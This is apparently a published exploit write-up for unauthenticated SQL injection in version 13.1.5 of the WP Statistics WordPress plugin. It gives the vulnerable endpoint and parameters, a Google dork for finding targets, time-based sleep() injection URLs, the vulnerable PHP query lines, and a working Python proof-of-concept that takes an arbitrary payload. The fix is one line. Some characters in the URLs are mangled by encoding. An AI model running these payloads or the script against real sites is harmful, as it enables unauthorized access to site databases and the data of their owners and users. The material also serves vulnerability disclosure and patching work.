Headline
CVE-2022-25149: WordPress Plugin WP Statistics >= 13.1.5 - Multiple Unauthenticated SQL Injection vulnerabilities
The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
WordPress Plugin WP Statistics >= 13.1.5 - Multiple Unauthenticated SQL Injection vulnerabilities
Exploit Title
WordPress Plugin WP Statistics >= 13.1.5 - Multiple Unauthenticated SQL Injection vulnerabilities
Exploit Author
Muhammad Zeeshan (Xib3rR4dAr)
Date
February 13, 2022
Plugin Link
WP-Statistics
Plugin Active Installations
600,000+
Version
13.1.5 (Latest)
Tested on
Wordpress 5.9
Vulnerable Endpoint
/wp-json/wp-statistics/v2/hit
Vulnerable File
/wp-content/plugins/wp-statistics/includes/class-wp-statistics-pages.php:225
Vulnerable Parameters
current_page_id, current_page_type
Google Dork
inurl:/wp-content/plugins/wp-statistics
CVE
N/A
Description
Endpoint is vulnerable to Unauthenticated SQL Injections when “Cache Compatibility” is enabled in Wp-Statistics settings.
Vulnerable Endpoint: /wp-json/wp-statistics/v2/hit
Vulnerable Parameters:
- current_page_id
- current_page_type
- ip
current_page_id
is Integer based SQL Injection while current_page_type
is String based SQL Injeciton
Reproduction Steps
On wordpress installation, install latest version of WP-Statistics which is version 13.1.5 as of writing (February 13, 2022) from Wordpress Plugins Repo.
After wordpress login, goto WP Statistics > Settings ie /wp-admin/admin.php?page=wps_settings_page and enable “Cache Compatibility”
Unauthenticatedly, visit any page of target site and from response page get nonce value for wp-statistics and replace
_wpnonce
in following request:/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=sleep(3)&search_query&page_uri=/&user_id=0
- Make the request and SQL injection will trigger making site respond after 3 seconds.
PoCs for other parameters:
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=sleep(1)&search_query&page_uri=/&user_id=0
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home'-sleep(1)-'¤t_page_id=0&search_query&page_uri=/&user_id=0
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip='-sleep(1)-'&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=0&search_query&page_uri=/&user_id=0
Vulnerable Code
wp-statistics/includes/class-wp-statistics-pages.php
225: $exist = $wpdb->get_row(“SELECT `page_id` FROM `” . DB::table(‘pages’) . “` WHERE `date` = '” . TimeZone::getCurrentDate(‘Y-m-d’) . "’ " . (array_key_exists("search_query", $current_page) === true ? “AND `uri` = '” . esc_sql($page_uri) . “’” : “”) . "AND `type` = ‘{$current_page[‘type’]}’ AND `id` = {$current_page[‘id’]}", ARRAY_A);
wp-statistics/includes/class-wp-statistics-visitor.php
79: $visitor = $wpdb->get_row("SELECT * FROM `" . DB::table('visitor') . "` WHERE `last_counter` = '" . ($date === false ? TimeZone::getCurrentDate('Y-m-d') : $date) . "' AND `ip` = '{$ip}'");
Proof of Concept
import requests, re, json, urllib.parse
wpurl = input('\nWordPress URL: ') payload = input('\nPayload: ')
wp_session = requests.session()
wp = wp_session.get(wpurl) wp_nonce = re.search(r’_wpnonce=(.*?)&wp_statistics_hit’, wp.text).group(1)
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}
payload = urllib.parse.quote_plus(payload) exploit = f’/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={wp_nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id={payload}&search_query&page_uri=/&user_id=0’ exploit_url = wpurl+exploit
print(f’\nSending: {exploit_url}’)
wp = wp_session.get(exploit_url, headers=headers) data = wp.json()
print(“\nResponse: \n” + json.dumps(data, sort_keys=True, indent=4))
print(f’\nTime taken: {wp.elapsed.total_seconds()}’)
Fix:
- Parameterize user input